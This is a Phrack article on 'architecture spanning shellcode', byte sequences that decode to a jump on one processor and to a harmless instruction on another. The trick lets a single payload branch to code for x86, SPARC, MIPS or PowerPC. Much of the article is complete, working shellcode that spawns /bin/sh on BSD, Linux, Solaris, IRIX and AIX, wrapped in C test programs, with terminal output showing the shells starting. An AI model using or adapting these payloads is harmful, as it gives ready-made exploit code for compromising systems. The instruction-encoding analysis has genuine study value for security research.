Title : Architecture spanning shellcode
Author : eugene
==Phrack Inc.==
Volume 0x0b, Issue 0x39, Phile #0x0e of 0x12
|=---------------=[ Architecture Spanning Shellcode ]=-------------------=|
|=-----------------------------------------------------------------------=|
|=--------------------=[ eugene@gravitino.net ]=-------------------------=|
Introduction
------------
At defcon8 caezar's challenge 4 party [1] a problem was present to write
a shellcode that would run on two or more processor platforms. Below you
will find my solution (don't forget to check the credits section).
The general idea behind an architecture spanning shellcode is trying
to come up with a sequence of bytes that would execute a jump instruction
on one architecture while executing a nop-like instruction on another
architecture. That way we can branch to architecture specific code
depending on the platform our code is running on.
Here is an ASCII representation of our byte stream:
XXX
arch1 shellcode
arch2 shellcode
where XXX is a sequence of bytes that is going to branch to arch2's
shellcode on architecture 2 and is going to fall through to arch1
shellcode on architecture 1.
If we want to add more platforms we would need to add additional
jump/nop instructions for each additional platform.
MIPS architecture
------------------
A brief introduction to the MIPS architecture and writing MIPS shellcode
was described by scut in phrack 56 [2] as well as by the LSD folks in their
paper [8].
The only thing that is worse repeating here is the general MIPS
instruction format. All MIPS instructions occupy 32 bits and the sixth most
significant bits specify the instruction opcode [6][7]. There are 3
instruction formats: I-Type (immediate), J-Type (Jump) and
R-Type (Register). Since we are looking for a nop-like instructions we are
mostly interesting in I and R type instructions whose format is listed
below.
I-Type instruction format:
31 30 29 28 27 26|25 24 23 22 21| 20 19 18 17 16| 15 .. 0
op | rs | rt | immediate
fields are:
op 6-bit operation code
rs 5-bit source register specifier
rt 5-bit target (src/dest) or branch condition
immediate 16-bit immediate, branch or address displacement
R-Type instruction format:
31 30 29 28 27 26|25 24 23 22 21| 20 19 18 17 16| 15 14 131211|109876|5..0
op | rs | rt | rd | shamt|funct
fields are:
op 6-bit operation code
rs 5-bit source register specifier
rt 5-bit target (src/dest) or branch condition
rd 5-bit destination register specifier
shamt 5-bit shift amount
funct 6-bit function field
Sparc architecture
------------------
Similarly to MIPS, Sparc is a RISC based architecture. All the Sparc
instructions occupy 32 bits and the two most significant bits specify an
instruction class [4]:
op Instruction Class
00 Branch instructions
01 call instruction
10 Format Three instructions (type 1)
11 Format Three instructions (type 2)
Format one call instruction contains an op field '01' followed by 30 bits
of address. Even though this is the optimal instruction to use, since we
control 30 bits out of 32, we won't be able to use it since the jumps are
not relative and tend to have 0 bytes in them.
Format three instructions (type 2) are mostly load/store instructions
which are mostly useless to us since we are only looking for relatively
harmless nop-like instructions. We definitely don't want to use anything
that has possibility of crashing our program (SIGSEGV in case of an illegal
load/store).
This leaves us with branch and format three instructions (type 1) to use.
Here is the format of a format three instruction:
31 30 |29 28 27 26 25|24 23 22 21 20 19|18 17 16 15 14|13|12 11 10 9 8 7..0
op | rd | op3 | rs1 |01| rs2 / imm
fields are:
op 2-bit instruction class (10)
rd 5-bit destination register specifier
op3 5-bit instruction specifier
rs1 5-bit source register
0/1 1-bit constant / second source register option
rs2 / imm 13-bit specifies either a second source register or
a constant
Some of the promising looking (harmless) format three instructions are
add, and, or, xor and sll/srl (specified by op3 bits).
And here is the branch instruction format:
31 30 |29|28 27 26 25|24 23 22|21 .. 0
op |a | condition | op2 |displacement
fields are:
op 2-bit instruction class (00)
a 1-bit annulled flag
condition 5-bit condition specifier.. ba, bn, bl, ble, be, etc
op2 3-bit condition code (integer condition code is 010)
displacement 22-bit address displacement
As you can see, a lot of the fields already have predefined values which
we need to work around.
PPC architecture
----------------
PowerPC is yet another RISC architecture used by vendors such as IBM and
Apple. See LSD's paper [8] for more information.
x86 architecture
----------------
The topic of buffer overflows and shellcode on x86 architecture has been
beaten to death before. For a good introduction see Aleph1's article in
phrack 49 [3].
To expand just a little bit on the topic I am going to present x86 code
that works on multiple x86 operating systems. The idea behind an
"OS spanning" shellcode is to setup all the registers and stack in such a
way as to satisfy the requirements of all the operating systems that our
shellcode is meant to execute on. For example, BSD passes its parameters on
stack while Linux uses registers (for passing arguments to syscalls). If we
setup both registers and stack than our code would run on both BSD and
Linux x86 systems. The only problem with writing shellcode for BSD & Linux
systems is the different execve() syscall numbers the two systems use.
Linux uses syscall number 0xb while BSD uses 0x3b. To overcome this
problem, we need to distinguish between the two systems at runtime.
There are plenty of ways to do that such as checking where various segments
are mapped, the way segment registers are setup, etc. I chose to analyze
the segment registers since that method seems to be pretty robust. On Linux
systems, for example, segment registers fs and gs are set 0 (in user mode)
while on BSD systems they are set to non zero values (0x1f on OpenBSD,
0x2f on FreeBSD). We can exploit that difference to distinguish between the
two different systems. See "Adding more architectures" section for a
working example.
Another way to to handle different syscall numbers is to ignore an
"invalid system call" SIGSYS signal and just try a different syscall number
if the first execve() call failed. While that method certainly works it
is quite limited and cannot be applied to other operating systems such as
the x86 Solaris which doesn't use the 0x80 interrupt trap gate.
Note that the "OS Spanning" shellcode is certainly not restricted to an
x86 platform, the same idea can be applied to any hardware platform and any
operating system.
Putting it all together.. Architecture spanning shellcode
---------------------------------------------------------
As I have mentioned before our shellcode (first attempt) is going to look
like
XXX
arch1 shellcode
arch2 shellcode
where XXX is a specially crafted string that executes different
instructions on two different platforms.
When I initially started looking for a working XXX string, I took an x86
short jump instruction and tried to decode it on a sun box. Since the
first byte of an x86 short jump instruction is 0xEB (which is almost all
1's) [5], the instruction decoded into a weird format 3 sparc instruction.
My next attempt consisted of writing a sparc jump instruction and trying to
decode it on an x86 platform. That idea almost worked but i was unable to
decode the sparc jump instruction into a nop-like x86 xor instruction due
to a one bit offset difference. The next attempt consisted of padding an
x86 jump instruction. Since an x86 short jump instruction is 2 bytes long
and all the sparc instructions are 4 bytes long, I had 2 bytes to play
with. I knew that I had to insert some bytes before the jump 0xEB byte in
order to be able to decode the instruction into something reasonable on
sparc. For my pad bytes I chose to use the x86 0x90 nop bytes which turned
out to be a good idea since 0x90 is mostly all 0's. My instruction stream
than looked like
\x90\x90\xeb\x30
where 0x90 is the x86 nop instruction, 0xEB is the opcode for an x86 short
jump and 0x30 is a 48 byte jump offset. Here is what the above string
decoded to on a Sun machine:
(gdb) x 0x1054c
0x1054c <main+20>: 0x9090eb30
(gdb) x/t 0x1054c
0x1054c <main+20>: 10010000100100001110101100110000
(gdb) x/i 0x1054c
0x1054c <main+20>: orcc %g3, 0xb30, %o0
As you can see, our string decoded to a harmless format 3 'or'
instruction that corrupted the %o0 register. This is exactly what we were
looking for, a short jump on one architecture (x86) and a harmless
instruction on another architecture (sparc). With that in mind our
shellcode now looks like this:
\x90\x90\xeb\x30
[sparc shellcode]
[x86 shellcode]
Let's try it out..
[openbsd]$ cat ass.c ; ass as in Architecture Spanning Shellcode :)
char sc[] =
/* magic string */
"\x90\x90\xeb\x30"
/* sparc solaris execve() */
"\x2d\x0b\xd8\x9a" /* sethi $0xbd89a, %l6 */
"\xac\x15\xa1\x6e" /* or %l6, 0x16e, %l6 */
"\x2f\x0b\xdc\xda" /* sethi $0xbdcda, %l7 */
"\x90\x0b\x80\x0e" /* and %sp, %sp, %o0 */
"\x92\x03\xa0\x08" /* add %sp, 8, %o1 */
"\x94\x1a\x80\x0a" /* xor %o2, %o2, %o2 */
"\x9c\x03\xa0\x10" /* add %sp, 0x10, %sp */
"\xec\x3b\xbf\xf0" /* std %l6, [%sp - 0x10] */
"\xdc\x23\xbf\xf8" /* st %sp, [%sp - 0x08] */
"\xc0\x23\xbf\xfc" /* st %g0, [%sp - 0x04] */
"\x82\x10\x20\x3b" /* mov $0x3b, %g1 */
"\x91\xd0\x20\x08" /* ta 8 */
/* BSD execve() */
"\xeb\x17" /* jmp */
"\x5e" /* pop %esi */
"\x31\xc0" /* xor %eax, %eax */
"\x50" /* push %eax */
"\x88\x46\x07" /* mov %al,0x7(%esi) */
"\x89\x46\x0c" /* mov %eax,0xc(%esi) */
"\x89\x76\x08" /* mov %esi,0x8(%esi) */
"\x8d\x5e\x08" /* lea 0x8(%esi),%ebx */
"\x53" /* push %ebx */
"\x56" /* push %esi */
"\x50" /* push %eax */
"\xb0\x3b" /* mov $0x3b, %al */
"\xcd\x80" /* int $0x80 */
"\xe8\xe4\xff\xff\xff" /* call */
"\x2f\x62\x69\x6e\x2f\x73\x68"; /* /bin/sh */
int main(void)
{
void (*f)(void) = (void (*)(void)) sc;
f();
return 0;
}
[openbsd]$ gcc ass.c
[openbsd]$ ./a.out
$ uname -ms
OpenBSD i386
[solaris]$ gcc ass.c
[solaris]$ ./a.out
$ uname -ms
SunOS sun4u
it worked!
Adding more architectures
-------------------------
Theoretically, spanning shellcode is not tied to any specific operating
system nor any specific hardware architecture. Thus it should be possible
to write shellcode that runs on more than two architectures. The format
for our shellcode (second attempt) that runs on 3 architectures is going
to be
XXX
YYY
arch1 shellcode
arch2 shellcode
arch3 shellcode
where arch1 is MIPS, arch2 is Sparc and arch3 is x86.
My first attempt was to try and reuse the magic string from ass.c.
Unfortunately, 0x9090eb30 didn't decode into anything reasonable on an IRIX
platform and so I was forced to look elsewhere. My next attempt was to
replace 0x90 bytes with some other nop-like bytes looking for a sequence
that would work on both Sparc & MIPS platforms. After a trying out a bunch
of x86 nop instructions from K2's ADMmutate toolkit, I stumbled upon an AAA
instruction whose opcode was 0x37. The AAA instruction worked out great
since the 0x3737eb30 string decoded correctly on all three platforms:
x86:
aaa
aaa
jmp +120
sparc:
sethi %hi(0xdFADE000), %i3
mips:
ori $s7,$t9,0xeb78
with XXX string out of the way, I was left with MIPS and Sparc platforms
YYY part. The very first instruction I tried worked on both platforms.
The instruction was a Sparc annulled short jump ba,a (0x30800012) which
decoded to
andi $zero,$a0,0x12
on a MIPS platform. Not only did the jump instruction decoded to a harmless
'andi' on a MIPS platform, it also didn't require a branch delay slot
instruction after it since the ba jump was annulled [4].
So now our shellcode looks like this
"\x37\x37\xeb\x78" /* x86: aaa; aaa; jmp 116+4 */
/* MIPS: ori $s7,$t9,0xeb78 */
/* Sparc: sethi %hi(0xdfade000),%i3*/
"\x30\x80\x00\x12" /* MIPS: andi $zero,$a0,0x12 */
/* Sparc: ba,a +72 */
[snip real shellcode]
While we are adding more architectures to our shellcode let's also take
a look at PPC/AIX. The first logical thing to do is to try and decode
the existing XXX and YYY strings from the above shellcode on the PPC
platform:
(gdb) x 0x10000364
0x10000364 <main+36>: 0x3737eb78
(gdb) x/i 0x10000364
0x10000364 <main+36>: addic. r25,r23,-5256
(gdb) x/x 0x10000368
0x10000368 <main+40>: 0x30800012
(gdb) x/i 0x10000368
0x10000368 <main+40>: addic r4,r0,18
is this our lucky day or what? the XXX and YYY strings from the above
MIPS/x86/Sparc combo have correctly decoded to two harmless add
instructions. All we need to do now is to come up with another instruction
that is going to execute a jump on a MIPS platform while executing a nop on
PPC/AIX. After a bit of searching MIPS 'bgtz' instruction turned out to
decode into a valid multiply instruction on AIX:
[MIPS]
(gdb) x 0x10001008
0x10001008 <sc+8>: 0x1ee00101
(gdb) x/i 0x10001008
0x10001008 <sc+8>: bgtz $s7,0x10001410 <+1040>
[AIX]
(gdb) x 0x10000378
0x10000378 <main+56>: 0x1ee00101
(gdb) x/i 0x10000378
0x10000378 <main+56>: mulli r23,r0,257
the bgtz instruction is a branch on greater than zero [7]. Notice that the
branch instruction uses the $s7 register which was modified by us in a
previous nop instruction. The branch displacement is set to 0x0101 (to
avoid NULL bytes in the instruction) which is equivalent to a relative
1028 byte forward jump. Let's put everything together now..
[openbsd]$ cat ass.c
/*
* Architecture/OS Spanning Shellcode
*
* runs on x86 (freebsd, netbsd, openbsd, linux), MIPS/Irix, Sparc/Solaris
* and PPC/AIX (AIX platforms require -DAIX compiler flag)
*
* eugene@gravitino.net
*/
char sc[] =
/* voodoo */
"\x37\x37\xeb\x7b" /* x86: aaa; aaa; jmp 116+4 */
/* MIPS: ori $s7,$t9,0xeb7b */
/* Sparc: sethi %hi(0xdFADEc00), %i3 */
/* PPC/AIX: addic. r25,r23,-5253 */
"\x30\x80\x01\x14" /* MIPS: andi $zero,$a0,0x114 */
/* Sparc: ba,a +1104 */
/* PPC/AIX: addic r4,r0,276 */
"\x1e\xe0\x01\x01" /* MIPS: bgtz $s7, +1032 */
/* PPC/AIX: mulli r23,r0,257 */
"\x30\x80\x01\x14" /* fill in the MIPS branch delay slot
with the above MIPS / AIX nop */
/* PPC/AIX shellcode by LAST STAGE OF DELIRIUM *://lsd-pl.net/ */
"\x7e\x94\xa2\x79" /* xor. r20,r20,r20 */
"\x40\x82\xff\xfd" /* bnel <syscallcode> */
"\x7e\xa8\x02\xa6" /* mflr r21 */
"\x3a\xc0\x01\xff" /* lil r22,0x1ff */
"\x3a\xf6\xfe\x2d" /* cal r23,-467(r22) */
"\x7e\xb5\xba\x14" /* cax r21,r21,r23 */
"\x7e\xa9\x03\xa6" /* mtctr r21 */
"\x4e\x80\x04\x20" /* bctr */
"\x04\x82\x53\x71"
"\x87\xa0\x89\xfc"
"\x69\x68\x67\x65"
"\x4c\xc6\x33\x42" /* crorc cr6,cr6,cr6 */
"\x44\xff\xff\x02" /* svca 0x0 */
"\x3a\xb5\xff\xf8" /* cal r21,-8(r21) */
"\x7c\xa5\x2a\x79" /* xor. r5,r5,r5 */
"\x40\x82\xff\xfd" /* bnel <shellcode> */
"\x7f\xe8\x02\xa6" /* mflr r31 */
"\x3b\xff\x01\x20" /* cal r31,0x120(r31) */
"\x38\x7f\xff\x08" /* cal r3,-248(r31) */
"\x38\x9f\xff\x10" /* cal r4,-240(r31) */
"\x90\x7f\xff\x10" /* st r3,-240(r31) */
"\x90\xbf\xff\x14" /* st r5,-236(r31) */
"\x88\x55\xff\xf4" /* lbz r2,-12(r21) */
"\x98\xbf\xff\x0f" /* stb r5,-241(r31) */
"\x7e\xa9\x03\xa6" /* mtctr r21 */
"\x4e\x80\x04\x20" /* bctr */
"/bin/sh"
/* x86 BSD/Linux execve() by me */
"\xeb\x29" /* jmp */
"\x5e" /* pop %esi */
"\x31\xc0" /* xor %eax, %eax */
"\x50" /* push %eax */
"\x88\x46\x07" /* mov %al,0x7(%esi) */
"\x89\x46\x0c" /* mov %eax,0xc(%esi) */
"\x89\x76\x08" /* mov %esi,0x8(%esi) */
"\x8d\x5e\x08" /* lea 0x8(%esi),%ebx */
"\x53" /* push %ebx */
"\x56" /* push %esi */
"\x50" /* push %eax */
/* setup registers for linux */
"\x8d\x4e\x08" /* lea 0x8(%esi),%ecx */
"\x8d\x56\x08" /* lea 0x8(%esi),%edx */
"\x89\xf3" /* mov %esi, %ebx */
/* distinguish between BSD & Linux */
"\x8c\xe0" /* movl %fs, %eax */
"\x21\xc0" /* andl %eax, %eax */
"\x74\x04" /* jz +4 */
"\xb0\x3b" /* mov $0x3b, %al */
"\xeb\x02" /* jmp +2 */
"\xb0\x0b" /* mov $0xb, %al */
"\xcd\x80" /* int $0x80 */
"\xe8\xd2\xff\xff\xff" /* call */
"\x2f\x62\x69\x6e" /* /bin */
"\x2f\x73\x68" /* /sh */
/*
* pad the MIPS/Irix & Sparc/Solaris shellcodes
* jumps of > 0x0101 bytes are performed on both platforms
* to avoid NULL bytes in the jump instructions
*/
"2359595912811011811145128130124118116118121114127231291301241171"
"2911813245571341291181211101231241181291101234512913012411712911"
"8132455712712412112411245123118120128451291301241171291181324512"
"9128118133114451141004559113130110111451141171294511512445134129"
"1301101141112311411712945571171121291181321284511411712945113123"
"1104512312412712911211412111445114117129451151244511312112712413"
"2451141171294559595913212412345113121127124132451271301244512811"
"8451281181179797117118128451181284512413012745132124127121113451"
"2312413259595945129117114451321241271211134512411545129117114451"
"1412111411212912712412345110123113451291171144512813211812911211"
"7574512911711423111114110130129134451241154512911711445111110130"
"1135945100114451141331181281294513211812911712413012945128120118"
"1234511212412112412757451321181291171241301294512311012911812412"
"31101211181291345745132118"
/* 68 byte MIPS/Irix PIC execve shellcode. -scut/teso */
"\xaf\xa0\xff\xfc" /* sw $zero, -4($sp) */
"\x24\x06\x73\x50" /* li $a2, 0x7350 */
"\x04\xd0\xff\xff" /* bltzal $a2, dpatch */
"\x8f\xa6\xff\xfc" /* lw $a2, -4($sp) */
/* a2 = (char **) envp = NULL */
"\x24\x0f\xff\xcb" /* li $t7, -53 */
"\x01\xe0\x78\x27" /* nor $t7, $t7, $zero */
"\x03\xef\xf8\x21" /* addu $ra, $ra, $t7 */
/* a0 = (char *) pathname */
"\x23\xe4\xff\xf8" /* addi $a0, $ra, -8 */
/* fix 0x42 dummy byte in pathname to shell */
"\x8f\xed\xff\xfc" /* lw $t5, -4($ra) */
"\x25\xad\xff\xbe" /* addiu $t5, $t5, -66 */
"\xaf\xed\xff\xfc" /* sw $t5, -4($ra) */
/* a1 = (char **) argv */
"\xaf\xa4\xff\xf8" /* sw $a0, -8($sp) */
"\x27\xa5\xff\xf8" /* addiu $a1, $sp, -8 */
"\x24\x02\x04\x23" /* li $v0, 1059 (SYS_execve) */
"\x01\x01\x01\x0c" /* syscall */
"\x2f\x62\x69\x6e" /* .ascii "/bin" */
"\x2f\x73\x68\x42" /* .ascii "/sh", .byte 0xdummy */
/* Sparc Solaris execve() by an unknown author */
"\x2d\x0b\xd8\x9a" /* sethi $0xbd89a, %l6 */
"\xac\x15\xa1\x6e" /* or %l6, 0x16e, %l6 */
"\x2f\x0b\xdc\xda" /* sethi $0xbdcda, %l7 */
"\x90\x0b\x80\x0e" /* and %sp, %sp, %o0 */
"\x92\x03\xa0\x08" /* add %sp, 8, %o1 */
"\x94\x1a\x80\x0a" /* xor %o2, %o2, %o2 */
"\x9c\x03\xa0\x10" /* add %sp, 0x10, %sp */
"\xec\x3b\xbf\xf0" /* std %l6, [%sp - 0x10] */
"\xdc\x23\xbf\xf8" /* st %sp, [%sp - 0x08] */
"\xc0\x23\xbf\xfc" /* st %g0, [%sp - 0x04] */
"\x82\x10\x20\x3b" /* mov $0x3b, %g1 */
"\x91\xd0\x20\x08" /* ta 8 */
;
int main(void)
{
#if defined(AIX)
/* copyright LAST STAGE OF DELIRIUM feb 2001 poland */
int jump[2]={(int)sc,*((int*)&main+1)};
((*(void (*)())jump)());
#else
void (*f)(void) = (void (*)(void)) sc;
f();
#endif
return 0;
}
[openbsd]$ gcc ass.c
[openbsd]$ ./a.out
$ uname -ms
OpenBSD i386
[freebsd]$ gcc ass.c
[freebsd]$ ./a.out
$ uname -ms
FreeBSD i386
[linux]$ gcc ass.c
[linux]$ ./a.out
$ uname -ms
Linux i686
[solaris]$ gcc ass.c
[solaris]$ ./a.out
$ uname -ms
SunOS sun4u
[irix]$ gcc ass.c
[irix]$ ./a.out
$ uname -ms
IRIX IP22
[aix]$ gcc ass.c
[aix]$ ./a.out
$ uname -ms
AIX 000089101000
Conclusion
-----------
Architecture spanning shellcode is a specially crafted code that executes
differently depending on the architecture it is being run on. The code
achieves that by using a series of bytes which execute differently on
different architectures.
OS spanning shellcode is specially crafted code that executes on
multiple operating systems all running on the same platform. The code
achieves that by setting up the registers and the stack in a way that
satisfies the operating systems that the code is being run on.
Credits / Thanks
----------------
Greg Hoglund working with me on this idea at the challenge party
prole and harm for coming with an idea way before the challenge
http://www.redgeek.net/~prole/ASSC.txt
gravitino.net, GHI, skyper, spoonm
References
----------
[1] Caezar's challenge
http://www.caezarschallenge.org
[2] Writing MIPS/IRIX shellcode
scut (phrack 56)
[3] Smashing The Stack For Fun And Profit
Aleph One (phrack 49)
[4] SPARC Architecture, Assembly Language Programming, and C. 2nd ed.
Richard P. Paul
[5] IA-32 Intel Architecture, Software Developer's Manual
Intel, Corp
http://developer.intel.com
[6] Computer Organization and Design
David A. Patterson and John L. Hennessy
[7] MIPS RISC Architecture
Gerry Kane and Joe Heinrich
[8] UNIX Assembly Codes Development for Vulnerabilities Illustration
Purposes
The Last Stage of Delirium Research Group http://lsd-pl.net
|=[ EOF ]=---------------------------------------------------------------=|